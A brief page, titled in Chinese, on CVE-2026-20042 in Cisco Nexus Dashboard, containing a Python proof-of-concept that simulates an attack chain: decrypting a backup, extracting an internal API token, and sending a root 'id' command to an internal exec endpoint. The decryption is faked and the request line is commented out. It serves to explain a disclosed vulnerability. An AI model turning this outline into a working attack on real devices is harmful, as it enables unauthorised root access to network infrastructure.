CVE-2026-20042 Cisco Nexus Dashboard备份信息泄露

#!/usr/bin/env python3 # PoC Concept for CVE-2026-20042 # This script simulates the attack chain described: Decrypt backup -> Extract Creds -> Call Internal API import json def decrypt_backup(backup_file, password): # Simulate decryption using the provided password # In a real scenario, this would use the specific encryption algorithm of Cisco Nexus Dashboard print(f"[*] Decrypting {backup_file} with password...") simulated_content = { "config": "...", "secrets": { "internal_api_token": "root_api_token_abc123" } } return simulated_content def extract_credentials(decrypted_data): # Extract authentication details for internal APIs print("[*] Extracting credentials...") return decrypted_data["secrets"]["internal_api_token"] def exploit_internal_api(target_ip, token): # Use the token to access internal API and execute commands print(f"[*] Accessing internal API at {target_ip}...") headers = {"Authorization": f"Bearer {token}"} # Simulated command execution payload payload = {"cmd": "id", "user": "root"} print(f"[+] Executing command as root: {payload['cmd']}") # response = requests.post(f"https://{target_ip}/api/internal/exec", headers=headers, json=payload) if __name__ == "__main__": # Step 1: Attacker obtains backup file and encryption password backup_path = "nexus_backup_encrypted.bin" encryption_password = "admin_password" target_device = "192.168.1.100" # Step 2: Decrypt and Extract data = decrypt_backup(backup_path, encryption_password) api_token = extract_credentials(data) # Step 3: Exploit exploit_internal_api(target_device, api_token)